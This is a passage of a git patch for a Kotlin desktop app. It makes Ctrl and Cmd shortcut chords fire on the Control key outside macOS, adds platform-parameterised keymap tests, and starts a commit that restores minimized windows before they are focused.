import ai.rever.boss.keymap.model.KeymapActions import ai.rever.boss.keymap.model.ShortcutContext import ai.rever.boss.keymap.model.TabSwitchMode import ai.rever.boss.keymap.model.canonicalModifiers +import ai.rever.boss.keymap.model.primaryModifierPressed import ai.rever.boss.utils.SystemUtils import java.awt.KeyEventDispatcher import java.awt.KeyboardFocusManager @@ -409,21 +410,40 @@ object AWTKeyboardInterceptor { /** * The physical modifier keycode that sustains an MRU tab cycle for [keystroke], mirroring - * the platform-aware mapping in findMatchingBinding: a "Ctrl" chord is the Control key - * on macOS but the Meta key on Windows/Linux (and vice-versa for a "Cmd" chord). + * the platform-aware mapping in findMatchingBinding: "Ctrl" always means Control, + * while "Cmd" means Meta on macOS and Control on Windows/Linux. * * Takes the keystroke the event MATCHED rather than the binding, so an alternate spelled * with the other primary modifier arms the modifier the user is actually holding. Arming * the wrong one wedges the switcher overlay open rather than merely losing a chord. */ - internal fun cyclingModifierKeyCode(keystroke: KeyStroke): Int { - val hasCmd = "cmd" in canonicalModifiers(keystroke.modifiers) - return if (SystemUtils.isMacOS) { + internal fun cyclingModifierKeyCode(keystroke: KeyStroke): Int = + cyclingModifierKeyCodeFor( + hasCmd = "cmd" in canonicalModifiers(keystroke.modifiers), + isMacOS = SystemUtils.isMacOS, + ) + + /** + * The physical key that sustains the cycle, with [isMacOS] as a parameter so both branches are + * reachable from a test. The inline read this replaced is why the off-macOS answer went + * unexercised on the machines this is developed on. + * + * Must agree with [primaryModifierPressed] on which key it just accepted. On macOS the two + * spellings are different keys, so the answer follows the spelling. Off macOS both are Control, + * so both spellings arm Control: that is not a loss of precision, it is the only key that can + * be down, since a Super press no longer matches any chord there. Returning VK_META for an + * explicit "Ctrl" chord armed a key that is not held, and the KDoc above records what that + * costs. + */ + internal fun cyclingModifierKeyCodeFor( + hasCmd: Boolean, + isMacOS: Boolean, + ): Int = + if (isMacOS) { if (hasCmd) KeyEvent.VK_META else KeyEvent.VK_CONTROL } else { - if (hasCmd) KeyEvent.VK_CONTROL else KeyEvent.VK_META + KeyEvent.VK_CONTROL } - } /** * Check if a key code represents a modifier-only key. @@ -601,15 +621,13 @@ object AWTKeyboardInterceptor { val hasAlt = "alt" in canonical val primaryMatch = - if (hasCmd || hasCtrl) { - if (SystemUtils.isMacOS) { - (hasCmd && event.isMetaDown) || (hasCtrl && event.isControlDown) - } else { - (hasCmd && event.isControlDown) || (hasCtrl && event.isMetaDown) - } - } else { - !event.isMetaDown && !event.isControlDown - } + primaryModifierPressed( + hasCmd = hasCmd, + hasCtrl = hasCtrl, + metaDown = event.isMetaDown, + controlDown = event.isControlDown, + isMacOS = SystemUtils.isMacOS, + ) return primaryMatch && hasShift == event.isShiftDown && hasAlt == event.isAltDown } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeyCaptureNameTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeyCaptureNameTest.kt index b8264c7908..e9b41e37a1 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeyCaptureNameTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeyCaptureNameTest.kt @@ -64,6 +64,10 @@ class KeyCaptureNameTest { Key.Slash to "Slash", Key.Backslash to "Backslash", Key.Comma to "Comma", + // VS Code's Find Next off macOS. It is the only function key any preset uses; the + // preset cannot spell it "Cmd+G" there, because that chord is Control+G and this + // preset already gives Control+G to Go to Line. + Key.F3 to "F3", Key.Tab to "Tab", Key.Spacebar to "Spacebar", Key.DirectionLeft to "DirectionLeft", diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeymapMatcherTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeymapMatcherTest.kt index e443ce015b..0288153cd4 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeymapMatcherTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/KeymapMatcherTest.kt @@ -6,6 +6,7 @@ import ai.rever.boss.keymap.model.KeyStroke import ai.rever.boss.keymap.model.KeymapSettings import ai.rever.boss.keymap.model.ShortcutContext import ai.rever.boss.keymap.model.canonicalModifiers +import ai.rever.boss.utils.SystemUtils import org.junit.jupiter.api.Test import kotlin.test.assertEquals import kotlin.test.assertFalse @@ -259,11 +260,14 @@ class KeymapMatcherTest { enabled = true, ) + // A "Cmd" chord is Meta on macOS and Control off it, so the event that answers this + // binding differs by platform. Asserting Meta on both certified a chord that cannot fire + // on Windows or Linux. val result = binding.matches( eventKey = "N", - isMetaPressed = true, - isCtrlPressed = false, + isMetaPressed = SystemUtils.isMacOS, + isCtrlPressed = !SystemUtils.isMacOS, isShiftPressed = false, isAltPressed = false, ) @@ -420,7 +424,17 @@ class KeymapMatcherTest { assertEquals(keystroke.signature(), KeyStroke("N", listOf("Cmd", "Shift")).signature()) assertEquals(keystroke.signature(), KeyStroke("n", listOf("Meta", "shift")).signature()) - assertNotEquals(keystroke.signature(), KeyStroke("N", listOf("Ctrl", "Shift")).signature()) + + // Cmd against Ctrl is the one comparison that is not platform-free. Off macOS they are one + // physical key, so they are one chord and conflict detection must say so; on macOS they are + // two. Both branches are asserted directly in PrimaryModifierRuleTest, which takes the + // platform as a parameter rather than reading it. + val ctrlSpelling = KeyStroke("N", listOf("Ctrl", "Shift")).signature() + if (SystemUtils.isMacOS) { + assertNotEquals(keystroke.signature(), ctrlSpelling) + } else { + assertEquals(keystroke.signature(), ctrlSpelling) + } } @Test @@ -451,7 +465,31 @@ class KeymapMatcherTest { @Test fun `KeyStroke matches returns true for matching event`() { val keystroke = KeyStroke("N", listOf("Cmd")) - assertTrue(keystroke.matches("N", isMetaPressed = true, isCtrlPressed = false, isShiftPressed = false, isAltPressed = false)) + + // A "Cmd" chord is the Meta key on macOS and the Control key everywhere else. This used to + // assert Meta on both, which is the platform-unaware rule the live matchers abandoned in + // #553; off macOS it certified a chord that could not fire. + if (SystemUtils.isMacOS) { + assertTrue( + keystroke.matches( + "N", + isMetaPressed = true, + isCtrlPressed = false, + isShiftPressed = false, + isAltPressed = false, + ), + ) + } else { + assertTrue( + keystroke.matches( + "N", + isMetaPressed = false, + isCtrlPressed = true, + isShiftPressed = false, + isAltPressed = false, + ), + ) + } } @Test @@ -493,7 +531,29 @@ class KeymapMatcherTest { enabled = true, ) - assertTrue(binding.matches("C", isMetaPressed = true, isCtrlPressed = false, isShiftPressed = false, isAltPressed = false)) + if (SystemUtils.isMacOS) { + assertTrue( + binding.matches( + "C", + isMetaPressed = true, + isCtrlPressed = false, + isShiftPressed = false, + isAltPressed = false, + ), + ) + } else { + // Off macOS the Cmd primary is the Control key, and so is the Ctrl alternate: one + // chord written twice. Either keystroke answering it is correct. + assertTrue( + binding.matches( + "C", + isMetaPressed = false, + isCtrlPressed = true, + isShiftPressed = false, + isAltPressed = false, + ), + ) + } } @Test @@ -636,7 +696,10 @@ class KeymapMatcherTest { // matcher and wrong in both directions once both walked allKeystrokes, so it is gone; // the note where it lived says why. What replaced it is the one canonicaliser the // matchers and the migration now share, and this is where its contract lives: Cmd and - // Ctrl are DIFFERENT modifiers, whatever a platform maps them onto at match time. + // Ctrl are DIFFERENT modifiers, whatever a platform maps them onto at match time. That is + // still exactly right for THIS function: AWTKeyboardInterceptor and MenuShortcutBridge need + // to know which spelling a chord used before the platform folds it. The fold lives in + // chordSignature, which is what conflict detection compares. assertEquals(setOf("cmd"), canonicalModifiers(listOf("Cmd"))) assertEquals(setOf("cmd"), canonicalModifiers(listOf("Meta"))) assertEquals(setOf("ctrl"), canonicalModifiers(listOf("Ctrl"))) diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/PrimaryModifierRuleTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/PrimaryModifierRuleTest.kt new file mode 100644 index 0000000000..28f7c78c6a --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/PrimaryModifierRuleTest.kt @@ -0,0 +1,433 @@ +package ai.rever.boss.keymap + +import ai.rever.boss.keymap.handler.KeymapValidator +import ai.rever.boss.keymap.model.EventChord +import ai.rever.boss.keymap.model.KeyBinding +import ai.rever.boss.keymap.model.KeyStroke +import ai.rever.boss.keymap.model.KeymapActions +import ai.rever.boss.keymap.model.KeymapSettings +import ai.rever.boss.keymap.model.ShortcutContext +import ai.rever.boss.keymap.model.canonicalModifiers +import ai.rever.boss.keymap.model.chordSignature +import ai.rever.boss.keymap.model.keystrokeMatches +import ai.rever.boss.keymap.model.primaryModifierPressed +import ai.rever.boss.keymap.model.recordedModifiers +import ai.rever.boss.keymap.presets.KeymapPresets +import ai.rever.boss.utils.SystemUtils +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertNotEquals +import kotlin.test.assertNull +import kotlin.test.assertTrue + +/** + * The Cmd/Ctrl rule, on both platforms. + * + * `isMacOS` is a parameter rather than a read precisely so this file can run the non-mac branch on + * a Mac. It could not before: every matcher read `SystemUtils.isMacOS` inline, so on the machines + * this project is developed on only the macOS branch ever executed, and the non-mac branch was + * wrong for as long as it existed. Each test below therefore states its platform. + * + * BossConsole#553. + */ +class PrimaryModifierRuleTest { + private fun pressed( + hasCmd: Boolean = false, + hasCtrl: Boolean = false, + metaDown: Boolean = false, + controlDown: Boolean = false, + isMacOS: Boolean, + ) = primaryModifierPressed(hasCmd, hasCtrl, metaDown, controlDown, isMacOS) + + // --------------------------------------------------------------------- + // macOS: Cmd and Ctrl are different keys and must stay so. + // --------------------------------------------------------------------- + + @Test + fun `on macOS a Cmd chord needs the Cmd key`() { + assertTrue(pressed(hasCmd = true, metaDown = true, isMacOS = true)) + assertFalse(pressed(hasCmd = true, controlDown = true, isMacOS = true)) + } + + @Test + fun `on macOS a Ctrl chord needs the Control key`() { + assertTrue(pressed(hasCtrl = true, controlDown = true, isMacOS = true)) + assertFalse(pressed(hasCtrl = true, metaDown = true, isMacOS = true)) + } + + // --------------------------------------------------------------------- + // Windows and Linux: both spellings are the Control key. + // --------------------------------------------------------------------- + + @Test + fun `off macOS an explicit Ctrl chord fires on the Control key`() { + // The whole of #553. This was false before: an explicit "Ctrl" was matched against the + // Meta key, so the default preset's Ctrl+Tab needed Super+Tab while Settings said Ctrl. + assertTrue(pressed(hasCtrl = true, controlDown = true, isMacOS = false)) + } + + @Test + fun `off macOS a Cmd chord also fires on the Control key`() { + // Unchanged, and the reason the collapse is consistent rather than a special case: + // displayString already renders both spellings as "Ctrl" on this platform. + assertTrue(pressed(hasCmd = true, controlDown = true, isMacOS = false)) + } + + @Test + fun `off macOS the Super key no longer fires either spelling`() { + // Legacy Super bindings were stored as Ctrl and now fire on Control instead. + assertFalse(pressed(hasCtrl = true, metaDown = true, isMacOS = false)) + assertFalse(pressed(hasCmd = true, metaDown = true, isMacOS = false)) + } + + // --------------------------------------------------------------------- + // Chords with no primary modifier, on either platform. + // --------------------------------------------------------------------- + + @Test + fun `a chord asking for no primary modifier refuses one that is held`() { + for (mac in listOf(true, false)) { + assertTrue(pressed(isMacOS = mac), "plain chord with nothing held (mac=$mac)") + assertFalse(pressed(controlDown = true, isMacOS = mac), "Control held (mac=$mac)") + assertFalse(pressed(metaDown = true, isMacOS = mac), "Meta held (mac=$mac)") + } + } + + // --------------------------------------------------------------------- + // Record then match. This prevents future drift between capture and dispatch. + // --------------------------------------------------------------------- + + @Test + fun `every chord the recorder can produce is one the matcher accepts`() { + // Exhaustive over both platforms and all four primary-key states. Nothing pinned this + // before, and the reason it matters is that recordedModifiers and primaryModifierPressed + // are the same decision written twice, in opposite directions. + // + // Flattened into one list rather than three nested loops: detekt caps the nesting depth + // here, and widening that rule to keep a prettier shape would be the wrong trade. + val cases = + listOf(true, false).flatMap { mac -> + listOf(true, false).flatMap { meta -> + listOf(true, false).map { control -> Triple(mac, meta, control) } + } + } + + // Super captures are rejected off macOS, including Super+Control. + for ((mac, meta, control) in cases.filter { (mac, meta, control) -> mac || !meta }) { + val recorded = + recordedModifiers( + metaDown = meta, + controlDown = control, + shiftDown = false, + altDown = false, + isMacOS = mac, + ) + val modifiers = canonicalModifiers(requireNotNull(recorded)) + assertTrue( + primaryModifierPressed( + hasCmd = "cmd" in modifiers, + hasCtrl = "ctrl" in modifiers, + metaDown = meta, + controlDown = control, + isMacOS = mac, + ), + "recorded $recorded does not match the keys that produced it " + + "(mac=$mac, meta=$meta, control=$control)", + ) + } + } + + @Test + fun `off macOS a Super press is rejected instead of saving a plain chord`() { + // A held unsupported modifier must not disappear from the saved shortcut. + val recorded = + recordedModifiers( + metaDown = true, + controlDown = false, + shiftDown = true, + altDown = false, + isMacOS = false, + ) + + assertNull(recorded) + assertNull( + recordedModifiers(metaDown = true, controlDown = true, shiftDown = false, altDown = false, isMacOS = false), + ) + } + + @Test + fun `on macOS both primary modifiers are still recorded separately`() { + assertEquals( + listOf("Cmd"), + recordedModifiers(metaDown = true, controlDown = false, shiftDown = false, altDown = false, isMacOS = true), + ) + assertEquals( + listOf("Ctrl"), + recordedModifiers(metaDown = false, controlDown = true, shiftDown = false, altDown = false, isMacOS = true), + ) + } + + @Test + fun `a keymap written by the previous capture dialog still works`() { + // That dialog recorded a Control press as "Cmd" off macOS. Those bindings are on disk and + // must keep firing, which is why "cmd" is still accepted on read rather than migrated. + assertTrue( + primaryModifierPressed( + hasCmd = true, + hasCtrl = false, + metaDown = false, + controlDown = true, + isMacOS = false, + ), + ) + } + + @Test + fun `the default tab-cycle binding displays the chord that actually fires`() { + // Settings promised Ctrl+Tab while only Super+Tab worked. Both halves are asserted here so + // the display string and the matcher cannot drift apart again. + val preset = KeyStroke(key = "Tab", modifiers = listOf("Ctrl")) + + assertEquals("Ctrl+Tab", preset.displayString("Windows 11")) + + val modifiers = canonicalModifiers(preset.modifiers) + assertTrue( + primaryModifierPressed( + hasCmd = "cmd" in modifiers, + hasCtrl = "ctrl" in modifiers, + metaDown = false, + controlDown = true, + isMacOS = false, + ), + "the chord Settings displays as Ctrl+Tab must fire on the Control key", + ) + } + + // --------------------------------------------------------------------- + // Chord identity. The matcher folding the two spellings is only half the + // rule: everything that asks "is this chord already taken" has to fold the + // same way, or one keypress runs two actions and Settings shows no badge. + // --------------------------------------------------------------------- + + private fun sig( + key: String, + vararg modifiers: String, + isMacOS: Boolean, + ) = chordSignature(key, modifiers.toList(), isMacOS) + + @Test + fun `off macOS a Ctrl chord and a Cmd chord are one chord`() { + // Both fire on Control off macOS, so conflict detection has to see one chord. It saw two: + // a captured Ctrl+W and the preset's Cmd+W both dispatched and neither was reported. + assertEquals(sig("W", "Ctrl", isMacOS = false), sig("W", "Cmd", isMacOS = false)) + } + + @Test + fun `on macOS a Ctrl chord and a Cmd chord stay different chords`() { + assertNotEquals(sig("W", "Ctrl", isMacOS = true), sig("W", "Cmd", isMacOS = true)) + } + + @Test + fun `the fold reaches alias spellings too`() { + // "Meta" and "Control" are the file spellings; a keymap edited by hand uses them. + assertEquals(sig("W", "Meta", isMacOS = false), sig("W", "Control", isMacOS = false)) + assertNotEquals(sig("W", "Meta", isMacOS = true), sig("W", "Control", isMacOS = true)) + } + + @Test + fun `the fold merges the primary modifier and nothing else`() { + // A fold that swallowed Shift or Alt would report conflicts between chords that really are + // different, which is worse than the bug it fixes. + assertNotEquals(sig("W", "Ctrl", isMacOS = false), sig("W", "Ctrl", "Shift", isMacOS = false)) + assertNotEquals(sig("W", "Ctrl", isMacOS = false), sig("W", "Ctrl", "Alt", isMacOS = false)) + assertNotEquals(sig("W", "Ctrl", isMacOS = false), sig("Q", "Ctrl", isMacOS = false)) + assertNotEquals(sig("W", "Shift", isMacOS = false), sig("W", "Alt", isMacOS = false)) + // An unmodified chord is untouched on both platforms. + assertEquals(sig("W", isMacOS = false), sig("W", isMacOS = true)) + } + + @Test + fun `the fold keeps key aliases folded as before`() { + assertEquals(sig("Right", "Cmd", isMacOS = true), sig("DirectionRight", "Meta", isMacOS = true)) + assertEquals(sig("Right", "Cmd", isMacOS = false), sig("DirectionRight", "Ctrl", isMacOS = false)) + } + + // --------------------------------------------------------------------- + // The validator is the caller that matters, and it reads the platform + // inline through allSignatures(), so it can only be asserted for the + // machine running the test. The pure pair above covers both branches. + // --------------------------------------------------------------------- + + private fun binding( + actionId: String, + vararg modifiers: String, + ) = KeyBinding(actionId = actionId, key = "W", modifiers = modifiers.toList(), context = ShortcutContext.GLOBAL) + + @Test + fun `the validator reports the Ctrl and Cmd collision exactly where it is real`() { + val existing = binding("tab.close", "Cmd") + val candidate = binding("editor.close", "Ctrl") + val settings = KeymapSettings(shortcuts = mapOf(existing.actionId to existing)) + + val conflicts = KeymapValidator.checkBinding(candidate, settings) + + if (SystemUtils.isMacOS) { + assertTrue(conflicts.isEmpty(), "on macOS these are different keys: $conflicts") + } else { + // Before the fold this list was empty while both bindings fired on Control+W. + assertEquals(listOf(existing.actionId), conflicts.map { it.actionId }) + } + } + + @Test + fun `the validator still separates chords that differ off macOS`() { + val existing = binding("tab.close", "Cmd") + val candidate = binding("editor.close", "Ctrl", "Shift") + val settings = KeymapSettings(shortcuts = mapOf(existing.actionId to existing)) + + assertTrue(KeymapValidator.checkBinding(candidate, settings).isEmpty()) + } + + @Test + fun `an alternate keystroke collides through the fold as well`() { + // allSignatures(), not signature(): migration adds alternates, and an alternate that + // collides only after the fold is exactly the case claimsChord has to refuse. + val existing = + KeyBinding( + actionId = "tab.close", + key = "Q", + modifiers = listOf("Cmd"), + alternateKeystrokes = listOf(KeyStroke("W", listOf("Cmd"))), + context = ShortcutContext.GLOBAL, + ) + val candidate = binding("editor.close", "Ctrl") + val settings = KeymapSettings(shortcuts = mapOf(existing.actionId to existing)) + + val conflicts = KeymapValidator.checkBinding(candidate, settings) + + if (SystemUtils.isMacOS) { + assertTrue(conflicts.isEmpty()) + } else { + assertEquals(listOf(existing.actionId), conflicts.map { it.actionId }) + } + } + + // --------------------------------------------------------------------- + // The public KeyStroke/KeyBinding matcher. It has no production caller + // today - KeymapMatcher and AWTKeyboardInterceptor are the live paths - + // but it is public API, and its tests certified the rule the live + // matchers stopped using in #553. + // --------------------------------------------------------------------- + + private fun matched( + vararg modifiers: String, + metaDown: Boolean = false, + controlDown: Boolean = false, + shiftDown: Boolean = false, + altDown: Boolean = false, + isMacOS: Boolean, + ) = keystrokeMatches( + keystrokeKey = "W", + modifiers = modifiers.toList(), + event = + EventChord( + key = "W", + metaDown = metaDown, + controlDown = controlDown, + shiftDown = shiftDown, + altDown = altDown, + ), + isMacOS = isMacOS, + ) + + @Test + fun `off macOS the public matcher fires an explicit Ctrl chord on Control`() { + // Was false: it compared hasCtrl to isCtrlPressed but also required hasCmd == isMetaPressed, + // so the same chord the recorder writes was one this matcher refused. + assertTrue(matched("Ctrl", controlDown = true, isMacOS = false)) + } + + @Test + fun `off macOS the public matcher fires a Cmd chord on Control`() { + assertTrue(matched("Cmd", controlDown = true, isMacOS = false)) + assertFalse(matched("Cmd", metaDown = true, isMacOS = false)) + } + + @Test + fun `on macOS the public matcher keeps the two keys apart`() { + assertTrue(matched("Cmd", metaDown = true, isMacOS = true)) + assertFalse(matched("Cmd", controlDown = true, isMacOS = true)) + assertTrue(matched("Ctrl", controlDown = true, isMacOS = true)) + assertFalse(matched("Ctrl", metaDown = true, isMacOS = true)) + } + + @Test + fun `the public matcher still requires shift and alt exactly`() { + assertFalse(matched("Ctrl", controlDown = true, shiftDown = true, isMacOS = false)) + assertFalse(matched("Ctrl", "Shift", controlDown = true, isMacOS = false)) + assertTrue(matched("Ctrl", "Shift", controlDown = true, shiftDown = true, isMacOS = false)) + assertTrue(matched("Ctrl", "Alt", controlDown = true, altDown = true, isMacOS = false)) + } + + @Test + fun `an unmodified chord still refuses a held primary modifier`() { + assertTrue(matched(isMacOS = false)) + assertFalse(matched(controlDown = true, isMacOS = false)) + assertFalse(matched(metaDown = true, isMacOS = true)) + } + + @Test + fun `the public matcher still refuses a different key`() { + assertFalse( + keystrokeMatches( + keystrokeKey = "W", + modifiers = listOf("Ctrl"), + event = EventChord(key = "Q", controlDown = true), + isMacOS = false, + ), + ) + } + + // --------------------------------------------------------------------- + // What the fold found. Every shipped preset has to survive its own + // conflict check on BOTH platforms, not just the one it was written on. + // --------------------------------------------------------------------- + + @Test + fun `every shipped preset is free of conflicts on this platform`() { + listOf( + "BOSS Default" to KeymapPresets.getBOSSDefault(), + "VS Code" to KeymapPresets.getVSCodePreset(), + "IntelliJ IDEA" to KeymapPresets.getIntelliJPreset(), + "Emacs" to KeymapPresets.getEmacsPreset(), + ).forEach { (name, preset) -> + val conflicts = KeymapValidator.validate(preset) + assertTrue(conflicts.isEmpty(), "$name: ${conflicts.joinToString { it.description() }}") + } + } + + @Test + fun `VS Code keeps find-next and go-to-line on different keys`() { + // Off macOS this preset bound Cmd+G to Find Next and Ctrl+G to Go to Line, which are the + // same physical key there, so one Control+G press matched two EDITOR actions. Nothing + // reported it: the matcher folded the two spellings and the signature did not. Real VS + // Code avoids this by using F3 off macOS and reserving Ctrl+G for Go to Line. + val preset = KeymapPresets.getVSCodePreset() + val findNext = requireNotNull(preset.getBinding(KeymapActions.EDITOR_FIND_NEXT)) + val goToLine = requireNotNull(preset.getBinding(KeymapActions.EDITOR_GO_TO_LINE)) + + assertEquals(findNext.context, goToLine.context, "the case only matters inside one context") + assertNotEquals(findNext.signature(), goToLine.signature()) + + if (SystemUtils.isMacOS) { + assertEquals("G", findNext.key) + assertEquals(listOf("Cmd"), findNext.modifiers) + } else { + assertEquals("F3", findNext.key) + assertTrue(findNext.modifiers.isEmpty()) + } + assertEquals("G", goToLine.key) + assertEquals(listOf("Ctrl"), goToLine.modifiers) + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/StandardBrowserBindingsTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/StandardBrowserBindingsTest.kt index 96cbc15cf3..a1b824fd40 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/StandardBrowserBindingsTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/StandardBrowserBindingsTest.kt @@ -5,6 +5,7 @@ import ai.rever.boss.keymap.model.KeymapActions import ai.rever.boss.keymap.model.KeymapSettings import ai.rever.boss.keymap.model.ShortcutContext import ai.rever.boss.keymap.presets.KeymapPresets +import ai.rever.boss.utils.SystemUtils import kotlin.test.Test import kotlin.test.assertEquals import kotlin.test.assertNotNull @@ -171,7 +172,27 @@ class StandardBrowserBindingsTest { "IntelliJ IDEA" to KeymapPresets.getIntelliJPreset(), "Emacs" to KeymapPresets.getEmacsPreset(), ).forEach { (name, settings) -> - val focus = assertNotNull(settings.getBinding(KeymapPresets.FLUCK_FOCUS_ADDRESS_BAR_ACTION), name) + val focus = settings.getBinding(KeymapPresets.FLUCK_FOCUS_ADDRESS_BAR_ACTION) + + // Emacs off macOS is the one preset that does not get this addition, and refusing it + // is the merge working rather than failing. That preset binds its own C-l to browser + // reload in the same BROWSER context, and off macOS `Cmd` and `Ctrl` are one physical + // key, so Cmd+L and Ctrl+L are one chord there. withoutChordsTakenBy drops an + // addition whose every chord is taken instead of shipping a live conflict, and an + // Emacs user's own C-l is the one that should win in an Emacs preset. + // + // This was invisible before the signature folded the primary modifier: both bindings + // matched Control+L and neither the validator nor this test said so. + val emacsOffMac = name == "Emacs" && !SystemUtils.isMacOS + if (emacsOffMac) { + assertNull(focus, "$name must not ship a second action on its own C-l") + val reload = assertNotNull(settings.getBinding(KeymapActions.BROWSER_RELOAD), name) + assertEquals("L", reload.key, name) + assertEquals(listOf("Ctrl"), reload.modifiers, name) + return@forEach + } + + assertNotNull(focus, name) assertEquals("L", focus.key, name) assertEquals(listOf("Cmd"), focus.modifiers, name) assertEquals(ShortcutContext.BROWSER, focus.context, "$name must not make it GLOBAL") diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/window/TabCycleModifierTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/window/TabCycleModifierTest.kt index 864c59fa3c..906318a189 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/window/TabCycleModifierTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/window/TabCycleModifierTest.kt @@ -21,10 +21,21 @@ import kotlin.test.assertNotEquals * No preset gives TAB_NEXT an alternate today. `keymap-settings.json` is hand-editable, * `withAlternateKeystroke` is public, and `migrateSettings` propagates any alternate a future * preset adds, so this pins the behaviour rather than the current data. + * + * Since #553 the two primary spellings are the SAME key off macOS, so the cases below that turned + * on them differing are split by platform rather than asserted unconditionally. The platform pair + * is covered directly by the tests at the bottom, which take `isMacOS` as a parameter and + * therefore run both branches on either machine. That split is the point: an inline platform read + * is what let the off-macOS answer go unexercised until CI, on this very function. */ class TabCycleModifierTest { + // A "Cmd" chord is Meta on macOS and Control elsewhere, unchanged. private val cmdKeyCode = if (SystemUtils.isMacOS) KeyEvent.VK_META else KeyEvent.VK_CONTROL - private val ctrlKeyCode = if (SystemUtils.isMacOS) KeyEvent.VK_CONTROL else KeyEvent.VK_META + + // A "Ctrl" chord is the Control key on BOTH platforms since #553. It used to be Meta off + // macOS, which armed a key the user was not holding, so the release never matched and the + // switcher overlay stayed wedged open with Tab swallowed. + private val ctrlKeyCode = KeyEvent.VK_CONTROL @Test fun `a Ctrl chord arms the Ctrl key`() { @@ -43,12 +54,46 @@ class TabCycleModifierTest { val primary = KeyStroke("Tab", listOf("Ctrl")) val alternate = KeyStroke("Tab", listOf("Cmd")) - assertNotEquals( - AWTKeyboardInterceptor.cyclingModifierKeyCode(primary), - AWTKeyboardInterceptor.cyclingModifierKeyCode(alternate), - "the two chords must not arm the same physical key, or this test proves nothing", - ) assertEquals(cmdKeyCode, AWTKeyboardInterceptor.cyclingModifierKeyCode(alternate)) + + if (SystemUtils.isMacOS) { + assertNotEquals( + AWTKeyboardInterceptor.cyclingModifierKeyCode(primary), + AWTKeyboardInterceptor.cyclingModifierKeyCode(alternate), + "on macOS the two chords are different keys and must arm different ones", + ) + } else { + // Off macOS both spellings ARE the Control key, so such an alternate is the same + // chord written twice rather than a second one. Arming Control for either is correct: + // it is the only primary key that can be held, since a Super press matches nothing. + assertEquals( + AWTKeyboardInterceptor.cyclingModifierKeyCode(primary), + AWTKeyboardInterceptor.cyclingModifierKeyCode(alternate), + ) + } + } + + @Test + fun `on macOS the spelling chooses the key`() { + assertEquals(KeyEvent.VK_META, AWTKeyboardInterceptor.cyclingModifierKeyCodeFor(hasCmd = true, isMacOS = true)) + assertEquals( + KeyEvent.VK_CONTROL, + AWTKeyboardInterceptor.cyclingModifierKeyCodeFor(hasCmd = false, isMacOS = true), + ) + } + + @Test + fun `off macOS both spellings arm Control, the only primary key that can be held`() { + // The #553 collapse. Arming VK_META for an explicit "Ctrl" chord armed a key that is not + // down, so the release never matched and the switcher overlay stayed wedged open. + assertEquals( + KeyEvent.VK_CONTROL, + AWTKeyboardInterceptor.cyclingModifierKeyCodeFor(hasCmd = true, isMacOS = false), + ) + assertEquals( + KeyEvent.VK_CONTROL, + AWTKeyboardInterceptor.cyclingModifierKeyCodeFor(hasCmd = false, isMacOS = false), + ) } @Test From e36c47fc26d973244bf764f983b790883663e456 Mon Sep 17 00:00:00 2001 From: arjun28115 Date: Mon, 14 Sep 2026 09:42:50 +0530 Subject: [PATCH 10/28] fix(chrome): restore a minimized window before focusing it (#560) (#561) Restore iconified frames before focusing through either WindowFocusManager entry point, preserving maximized state. Original shared helper and headless mask tests by @arjun28115 (#561). Independent equivalent implementation and missing-target regression by @Sahvendra7 (#580), retained through consolidation. Earlier review-agent work integrated that regression and clarified restore ordering and documentation. Closes #560. Co-authored-by: Sahvendra --- .../ai/rever/boss/utils/WindowFocusManager.kt | 51 ++++++++++++++----- .../boss/utils/WindowFocusManagerTest.kt | 31 +++++++++++ 2 files changed, 70 insertions(+), 12 deletions(-) diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt index 60414ca433..d8741e82a2 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/utils/WindowFocusManager.kt @@ -5,6 +5,7 @@ import ai.rever.boss.utils.logging.LogCategory import kotlinx.coroutines.flow.MutableStateFlow import kotlinx.coroutines.flow.StateFlow import kotlinx.coroutines.flow.asStateFlow +import java.awt.Frame import java.awt.Window import java.awt.event.WindowAdapter import java.awt.event.WindowEvent @@ -285,6 +286,42 @@ private data class WindowFullscreenSignals( val composeFullscreen: Boolean = false, ) +/** Whether [extendedState] has the ICONIFIED bit, i.e. the window sits in the taskbar. */ +internal fun isIconified(extendedState: Int): Boolean = (extendedState and Frame.ICONIFIED) != 0 + +/** + * [extendedState] with only the ICONIFIED bit cleared. + * + * Deliberately not `Frame.NORMAL`, which is zero and therefore drops MAXIMIZED_BOTH as well: + * restoring a window the user had maximized would hand it back to them as a small one. Pure and + * top level so both branches are pinned by a test without needing a display. + */ +internal fun deiconified(extendedState: Int): Int = extendedState and Frame.ICONIFIED.inv() + +/** + * Undo whatever is keeping [this] off the screen, before something tries to focus it. + * Call before toFront(): an iconified frame must first be restored. + * + * Two different states hide a window and only one of them was handled. The comment this + * replaced said "make window visible if minimized" and then tested `isVisible`, but a + * minimized window is already visible: it is ICONIFIED. So `toFront()` and `requestFocus()` + * ran against a window still in the taskbar, and the caller was told the focus succeeded. + * Cross-window tab selection made that observable, by selecting a tab in a window the user + * never saw come forward. + * + * Clears only the ICONIFIED bit 